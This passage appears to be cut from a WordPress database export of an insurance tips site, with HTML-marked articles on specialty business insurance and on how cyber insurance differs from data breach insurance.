example, guns and antiques require specialty insurance for adequate protection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tip: If you manufacture or sell products to consumers or businesses, consider taking out product liability insurance. Under U.S. law, manufacturers and retailers are held responsible for any harm caused by a defect in a product, even if they’re not at fault.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Who needs specialty insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Any business that serves clients who engage in high-risk behavior will need to take out a specialty insurance policy.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, there are significant risks associated with skydiving, so if you offer it to the public, standard insurance won’t cover you. That’s because your insurer would be subject to a much higher potential exposure to liability claims. Another example is construction businesses; many builders and contractors take out builders’ risk insurance to protect against loss and damage on a project.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some insurance providers offer specialty insurance plans to businesses in certain industries. For instance, Liberty Mutual has specialty options for the healthcare, environmental, real estate and energy industries.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For healthcare providers, for example, standard insurance policies don’t cover sector-specific risks, like specialized equipment failures, patient data breaches and malpractice claims. Healthcare insurance underwriters design policies to ensure that the businesses paying them premiums are sufficiently protected against liabilities related to the sector.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Does specialty insurance protect against lawsuits?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Like other types of insurance plans, specialty insurance offers protection against lawsuits. If a business is sued and a judgment is made against it, insurers provide much of that coverage. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, many businesses take out a specialty policy called errors and omissions (E&amp;O) insurance, which protects against negligence lawsuits. The policy has limits, but clients are generally compensated for charges related to judgments such as court and legal fees.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How much does specialty insurance cost?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A common misconception among business owners is that specialty insurance is not affordable. In reality, many rates are surprisingly competitive, depending on your specific needs. Here are some examples of costs associated with specialty insurance:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><th><strong>Type of specialty insurance</strong></th><th><strong>Typical quote per month</strong></th></tr><tr><td>Professional indemnity</td><td>$50-$70</td></tr><tr><td>Errors and omissions</td><td>$50-$70</td></tr><tr><td>Cyber insurance</td><td>$135-$155</td></tr><tr><td>Workers’ compensation insurance</td><td>$35-$55</td></tr><tr><td>Contractor tools and equipment</td><td>$10-$25</td></tr><tr><td>Commercial property insurance</td><td>$55-$75</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:paragraph -->\n<p>FYI: In nearly every state, businesses are required to take out workers’ compensation insurance, which covers both your business and the affected employee for the costs associated with an accident at work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Examples of specialty insurance policies</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Specialty insurance is necessary for items that your ordinary homeowners or automobile insurance doesn’t cover. The following types of specialty insurance can help fill in the gaps:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Flood coverage:</strong> Commercial property insurance often lacks flood insurance, so this specialty insurance may be worthwhile if your region is prone to flooding. When it comes to floods and your vehicle, you will want to consider comprehensive auto insurance. Research from the Insurance Information Institute shows that more than 79 percent of U.S. drivers buy comprehensive coverage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Identity theft insurance:</strong>&nbsp;Identity theft can be costly, especially if your company’s bank accounts are compromised. Identity theft insurance can help you cover those costs.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Motorcycle insurance:</strong>&nbsp;Many auto policies that you may take out for your company’s vehicle fleet won’t cover motorcycles. To make up for this, you’ll need commercial motorcycle insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Boat insurance:</strong>&nbsp;If your business involves boats — for example, you run a boat touring business or a mini-cruise line — you’ll need boat insurance to cover most of your risks.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Travel insurance:</strong>&nbsp;When you plan to travel for work, there’s always the risk that you ultimately won’t be able to get on the plane. In this case, travel insurance covers the amount you spend on your trip, as well as lost baggage or overseas medical emergencies.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Title insurance:</strong>&nbsp;If you buy commercial real estate and there’s a defect in your title, you could face substantial financial losses. Title insurance covers these losses.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Commercial renters insurance:</strong>&nbsp;Whereas commercial property insurance covers buildings you own, commercial renters insurance offers coverage for business property you rent.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Ocean marine insurance:</strong>&nbsp;This specialty insurance category is mandatory if your business owns or operates sea vessels that dock or offload in American ports. It should cover any claims that fall under the Longshore and Harbor Workers’ Compensation Act and the Jones Act.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Cyber liability insurance:</strong> As the frequency of cyberattacks on small businesses increases, cyber liability insurance can help cover the accompanying financial losses. It can also cover your legal costs if customers sue you over data breaches.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Directors and officers (D&amp;O) insurance:</strong> D&amp;O insurance protects you if you face lawsuits alleging wrongdoings in the management of your business.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Other cases of specialty insurance include insurance for unique considerations, such as for actors who insure their body parts that are considered their best assets and moneymakers. Other types of specialty insurance for businesses include coverage for the loss of your entire inventory in case of a fire or theft.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tip: Quotes for specialty insurance depend on your industry and your company’s risk of being sued. You can add an umbrella policy to increase the maximum payouts of your plan.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to buy specialty insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Take these steps to ensure you take out the most suitable specialty insurance policy for your business.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">1. Understand the different types of specialty insurance.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Specialty insurance isn’t intended to be a one-size-fits-all policy; the underwriting will be specific to your company’s industry and needs. For instance, construction and healthcare&nbsp;businesses&nbsp;both need specialty insurance but will have very different coverage inclusions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">2. Start with basic information on insurance for special needs.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A key step is to confirm that the policies you already have don’t cover your specialty needs. Even if they don’t, though, you may not need an entirely new policy. In some cases, the insurer may be able to add special inclusions to your standard policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">3. Check out various specialty insurance companies.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Research multiple specialty insurance providers to get an idea of the scope of policies offered. Seek out a specialty insurance company that answers your questions thoroughly. Review their experience in the industry and their records with rating agencies such as the Better Business Bureau.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As you search for specialty insurance plans, consider working only with agents who will vet insurers for you and collect quotes from them. Remember that many agents collect commissions from insurance providers and, therefore, won’t charge you fees.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Check out how much your policy covers in the worst case, and calculate whether it is adequate protection for your assets against judgments. Speak to insurance providers about the option of an umbrella policy, which has minimal annual cost and pays out claims when you’ve exhausted your initial coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">4. Look at the latest specialty insurance coverage and industry news.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Stay up to date with business insurance information, especially news that’s pertinent to your particular needs. Find out what specialty insurance other providers are offering and what trends are affecting the industry. With this information on hand, you can bargain with service providers to get the best deal for your budget.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">5. Compare quotes from different companies (and use them against each other).</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Get as many comparable quotes as you can from different specialty insurance providers. Use these quotes to encourage a bidding war between insurers to see if you can negotiate a lower premium.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What to consider when choosing specialty insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When you’re choosing the best specialty insurance policy for your business, consider these factors:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Scope of coverage:</strong>&nbsp;Make sure you’re covered for all of the risks your business is exposed to, including both industry-specific liabilities and general risks, like cybersecurity threats and professional errors.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Limits and deductibles:</strong>&nbsp;The limit is the amount your insurer will pay you for a covered loss, and the deductibles are the expenses you must pay out of pocket before the insurance kicks in. Make certain that these numbers fulfill your needs.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Claims process:</strong>&nbsp;Insurers aren’t particularly keen on paying out and often make it as hard as possible. Check online reviews to see other businesses’ experience in getting the money owed to them.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Unique risks:</strong>&nbsp;Your business may face unique risks that aren’t covered by standard types of specialty insurance policies. Work with the insurers that offer the most flexibility with the specific details of your policy.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Renewal policies:</strong>&nbsp;Some insurers increase their charges every year. If they don’t, they might gradually reduce the risk they cover. Ask questions and look at reviews to get an idea of how a potential insurer behaves when it’s time to renew a policy.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Industry expertise:</strong> Find insurers with deep knowledge of and proven expertise in your sector. They’re more likely to know the insurance companies that target and cater to businesses like yours.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.business.com/insurance/specialty/\">click here.</a></p>\n<!-- /wp:paragraph -->','Specialty Insurance Basics','','publish','closed','closed','','specialty-insurance-basics','','','2024-03-30 04:23:11','2024-03-30 04:23:11','',0,'https://smartinsurance.tips/?p=3946',0,'post','',0),(3947,1,'2024-03-30 04:20:59','2024-03-30 04:20:59','','Untitled-31','','inherit','closed','closed','','untitled-31','','','2024-03-30 04:20:59','2024-03-30 04:20:59','',3946,'http://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-31.png',0,'attachment','image/png',0),(3948,1,'2024-03-30 04:23:08','2024-03-30 04:23:08','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3947,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-31-1024x1024.png\" alt=\"\" class=\"wp-image-3947\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>There’s no shortage of insurers or insurance policies for small businesses. However, most policies are designed to provide coverage for companies in general and not for the specific risks your business might face. For example, you won’t be covered for a potentially significant event like a product recall, a data breach or a professional error that costs your clients money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For these situations, consider taking out specialty insurance. The good news is that it can be much more competitively priced than standard insurance policies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What is specialty insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Specialty insurance plans are for businesses that have specific, and often unusual, coverage needs.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You might have expensive, specialized equipment you want to protect, or perhaps you work in a sector where employee fraud is a real and present risk. These types of risks are not usually covered under standard business insurance policies. For example, guns and antiques require specialty insurance for adequate protection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tip: If you manufacture or sell products to consumers or businesses, consider taking out product liability insurance. Under U.S. law, manufacturers and retailers are held responsible for any harm caused by a defect in a product, even if they’re not at fault.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Who needs specialty insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Any business that serves clients who engage in high-risk behavior will need to take out a specialty insurance policy.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, there are significant risks associated with skydiving, so if you offer it to the public, standard insurance won’t cover you. That’s because your insurer would be subject to a much higher potential exposure to liability claims. Another example is construction businesses; many builders and contractors take out builders’ risk insurance to protect against loss and damage on a project.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some insurance providers offer specialty insurance plans to businesses in certain industries. For instance, Liberty Mutual has specialty options for the healthcare, environmental, real estate and energy industries.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For healthcare providers, for example, standard insurance policies don’t cover sector-specific risks, like specialized equipment failures, patient data breaches and malpractice claims. Healthcare insurance underwriters design policies to ensure that the businesses paying them premiums are sufficiently protected against liabilities related to the sector.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Does specialty insurance protect against lawsuits?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Like other types of insurance plans, specialty insurance offers protection against lawsuits. If a business is sued and a judgment is made against it, insurers provide much of that coverage. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, many businesses take out a specialty policy called errors and omissions (E&amp;O) insurance, which protects against negligence lawsuits. The policy has limits, but clients are generally compensated for charges related to judgments such as court and legal fees.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How much does specialty insurance cost?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A common misconception among business owners is that specialty insurance is not affordable. In reality, many rates are surprisingly competitive, depending on your specific needs. Here are some examples of costs associated with specialty insurance:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><th><strong>Type of specialty insurance</strong></th><th><strong>Typical quote per month</strong></th></tr><tr><td>Professional indemnity</td><td>$50-$70</td></tr><tr><td>Errors and omissions</td><td>$50-$70</td></tr><tr><td>Cyber insurance</td><td>$135-$155</td></tr><tr><td>Workers’ compensation insurance</td><td>$35-$55</td></tr><tr><td>Contractor tools and equipment</td><td>$10-$25</td></tr><tr><td>Commercial property insurance</td><td>$55-$75</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:paragraph -->\n<p>FYI: In nearly every state, businesses are required to take out workers’ compensation insurance, which covers both your business and the affected employee for the costs associated with an accident at work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Examples of specialty insurance policies</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Specialty insurance is necessary for items that your ordinary homeowners or automobile insurance doesn’t cover. The following types of specialty insurance can help fill in the gaps:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Flood coverage:</strong> Commercial property insurance often lacks flood insurance, so this specialty insurance may be worthwhile if your region is prone to flooding. When it comes to floods and your vehicle, you will want to consider comprehensive auto insurance. Research from the Insurance Information Institute shows that more than 79 percent of U.S. drivers buy comprehensive coverage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Identity theft insurance:</strong>&nbsp;Identity theft can be costly, especially if your company’s bank accounts are compromised. Identity theft insurance can help you cover those costs.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Motorcycle insurance:</strong>&nbsp;Many auto policies that you may take out for your company’s vehicle fleet won’t cover motorcycles. To make up for this, you’ll need commercial motorcycle insurance.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Boat insurance:</strong>&nbsp;If your business involves boats — for example, you run a boat touring business or a mini-cruise line — you’ll need boat insurance to cover most of your risks.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Travel insurance:</strong>&nbsp;When you plan to travel for work, there’s always the risk that you ultimately won’t be able to get on the plane. In this case, travel insurance covers the amount you spend on your trip, as well as lost baggage or overseas medical emergencies.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Title insurance:</strong>&nbsp;If you buy commercial real estate and there’s a defect in your title, you could face substantial financial losses. Title insurance covers these losses.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Commercial renters insurance:</strong>&nbsp;Whereas commercial property insurance covers buildings you own, commercial renters insurance offers coverage for business property you rent.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Ocean marine insurance:</strong>&nbsp;This specialty insurance category is mandatory if your business owns or operates sea vessels that dock or offload in American ports. It should cover any claims that fall under the Longshore and Harbor Workers’ Compensation Act and the Jones Act.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Cyber liability insurance:</strong> As the frequency of cyberattacks on small businesses increases, cyber liability insurance can help cover the accompanying financial losses. It can also cover your legal costs if customers sue you over data breaches.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Directors and officers (D&amp;O) insurance:</strong> D&amp;O insurance protects you if you face lawsuits alleging wrongdoings in the management of your business.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Other cases of specialty insurance include insurance for unique considerations, such as for actors who insure their body parts that are considered their best assets and moneymakers. Other types of specialty insurance for businesses include coverage for the loss of your entire inventory in case of a fire or theft.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tip: Quotes for specialty insurance depend on your industry and your company’s risk of being sued. You can add an umbrella policy to increase the maximum payouts of your plan.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to buy specialty insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Take these steps to ensure you take out the most suitable specialty insurance policy for your business.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">1. Understand the different types of specialty insurance.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Specialty insurance isn’t intended to be a one-size-fits-all policy; the underwriting will be specific to your company’s industry and needs. For instance, construction and healthcare&nbsp;businesses&nbsp;both need specialty insurance but will have very different coverage inclusions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">2. Start with basic information on insurance for special needs.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A key step is to confirm that the policies you already have don’t cover your specialty needs. Even if they don’t, though, you may not need an entirely new policy. In some cases, the insurer may be able to add special inclusions to your standard policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">3. Check out various specialty insurance companies.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Research multiple specialty insurance providers to get an idea of the scope of policies offered. Seek out a specialty insurance company that answers your questions thoroughly. Review their experience in the industry and their records with rating agencies such as the Better Business Bureau.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As you search for specialty insurance plans, consider working only with agents who will vet insurers for you and collect quotes from them. Remember that many agents collect commissions from insurance providers and, therefore, won’t charge you fees.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Check out how much your policy covers in the worst case, and calculate whether it is adequate protection for your assets against judgments. Speak to insurance providers about the option of an umbrella policy, which has minimal annual cost and pays out claims when you’ve exhausted your initial coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">4. Look at the latest specialty insurance coverage and industry news.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Stay up to date with business insurance information, especially news that’s pertinent to your particular needs. Find out what specialty insurance other providers are offering and what trends are affecting the industry. With this information on hand, you can bargain with service providers to get the best deal for your budget.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">5. Compare quotes from different companies (and use them against each other).</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Get as many comparable quotes as you can from different specialty insurance providers. Use these quotes to encourage a bidding war between insurers to see if you can negotiate a lower premium.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What to consider when choosing specialty insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When you’re choosing the best specialty insurance policy for your business, consider these factors:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Scope of coverage:</strong>&nbsp;Make sure you’re covered for all of the risks your business is exposed to, including both industry-specific liabilities and general risks, like cybersecurity threats and professional errors.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Limits and deductibles:</strong>&nbsp;The limit is the amount your insurer will pay you for a covered loss, and the deductibles are the expenses you must pay out of pocket before the insurance kicks in. Make certain that these numbers fulfill your needs.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Claims process:</strong>&nbsp;Insurers aren’t particularly keen on paying out and often make it as hard as possible. Check online reviews to see other businesses’ experience in getting the money owed to them.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Unique risks:</strong>&nbsp;Your business may face unique risks that aren’t covered by standard types of specialty insurance policies. Work with the insurers that offer the most flexibility with the specific details of your policy.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Renewal policies:</strong>&nbsp;Some insurers increase their charges every year. If they don’t, they might gradually reduce the risk they cover. Ask questions and look at reviews to get an idea of how a potential insurer behaves when it’s time to renew a policy.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Industry expertise:</strong> Find insurers with deep knowledge of and proven expertise in your sector. They’re more likely to know the insurance companies that target and cater to businesses like yours.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.business.com/insurance/specialty/\">click here.</a></p>\n<!-- /wp:paragraph -->','Specialty Insurance Basics','','inherit','closed','closed','','3946-revision-v1','','','2024-03-30 04:23:08','2024-03-30 04:23:08','',3946,'https://smartinsurance.tips/?p=3948',0,'revision','',0),(3949,1,'2024-03-30 04:27:58','2024-03-30 04:27:58','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3950,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-33-1024x1024.png\" alt=\"\" class=\"wp-image-3950\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Businesses face enormous pressure to protect their data and systems from breaches and cybercrime. Failure to do so could result in devastating financial losses. According to IBM, the global average cost of a data breach is $4.45 million. Most small businesses don’t have the resources to handle a major breach, so finding the right business insurance is crucial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, choosing the right type of insurance coverage can be confusing. Cyber insurance and data breach insurance sound like essential but similar insurance options. These insurance types have significant differences. We’ll explain how they differ and what business owners should know to ensure proper coverage. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Did you know?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All data breaches are expensive, but healthcare businesses take the biggest hits from these attacks. According to IBM, the average cost of a healthcare data breach can reach $10.93 million per incident.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What’s the difference between cyber insurance and data breach insurance?&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Cyber insurance and data breach insurance are distinctly different types of business insurance. If your business suffers a data breach, both insurance types will cover the primary financial interest (also known as first-party coverage) related to the exposed data. However, only cyber insurance will provide legal protection, referred to as third-party coverage. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In other words, data breach insurance covers the costs directly attributed to a data breach, such as lost revenue and credit monitoring. In contrast, cyber insurance also pays attorney’s fees and any regulatory fines.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Data breach insurance will also cover losses that don’t involve a computer. For example, if someone infiltrates the records room of a doctor’s office and obtains protected health information (PHI), they’d want data breach insurance. Data breach insurance would cover losses stemming from this noncomputer-related breach. Many cyber liability insurance policies would not cover this breach because they focus on data loss or operations disruption due to&nbsp;electronic device&nbsp;interference or damage.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s break down each insurance type and its parameters:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><th><strong>Coverage</strong></th><th><strong>Cyber insurance</strong></th><th><strong>Data breach insurance</strong></th></tr><tr><td>Ransom payments</td><td>Yes</td><td>Yes, but only if sensitive information is exposed</td></tr><tr><td>Data breach investigation costs</td><td>Yes</td><td>Yes, but only if sensitive information is exposed</td></tr><tr><td>Repair or replacement of damaged equipment</td><td>Yes</td><td>Not typically</td></tr><tr><td>Compensation for loss of business income because of a breach</td><td>Yes</td><td>Not typically</td></tr><tr><td>Costs of notifying affected parties</td><td>Yes</td><td>Yes</td></tr><tr><td>Costs of monitoring credit scores of affected parties</td><td>Yes</td><td>Yes</td></tr><tr><td>Legal defense costs</td><td>Yes</td><td>Not typically</td></tr><tr><td>Legal settlement costs</td><td>Yes</td><td>Not typically</td></tr><tr><td>Regulatory penalties</td><td>Yes</td><td>Yes, but only if sensitive information is exposed</td></tr><tr><td>Theft of information not stored on computer devices</td><td>No</td><td>Yes</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:paragraph -->\n<p>Cyber insurance is best for:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Cyberattacks affecting computer equipment</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Business interruption costs caused by cyberattacks</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Data breach insurance is best for:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Incidences of unauthorized access or exposure of sensitive data, including physical theft of information not stored on computing devices</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What is cyber liability insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Cyber liability insurance is a commercial insurance policy that provides financial protection from losses due to cyberattacks or other tech-related risks. In a cyberattack, cybercriminals can leak, destroy or hold data for ransom. Cyber liability insurance will help you respond to the attack to recover from the loss with the lowest possible impact.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Your cyber insurance policy provides first-party and third-party coverage, meaning it covers direct losses and third-party expenses of claims made against you because of the data exposure.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What does cyber liability insurance cover?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Cyber liability insurance covers two primary elements: first-party claims and third-party claims. It covers losses associated with PHI and personally identifiable information (PII) hacks, as well as business interruption caused by nefarious parties.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These are some of the first-party claims cyber insurance covers:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Investigatory costs</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Repairs to damaged or lost equipment</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Lost revenue</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Consumer notification 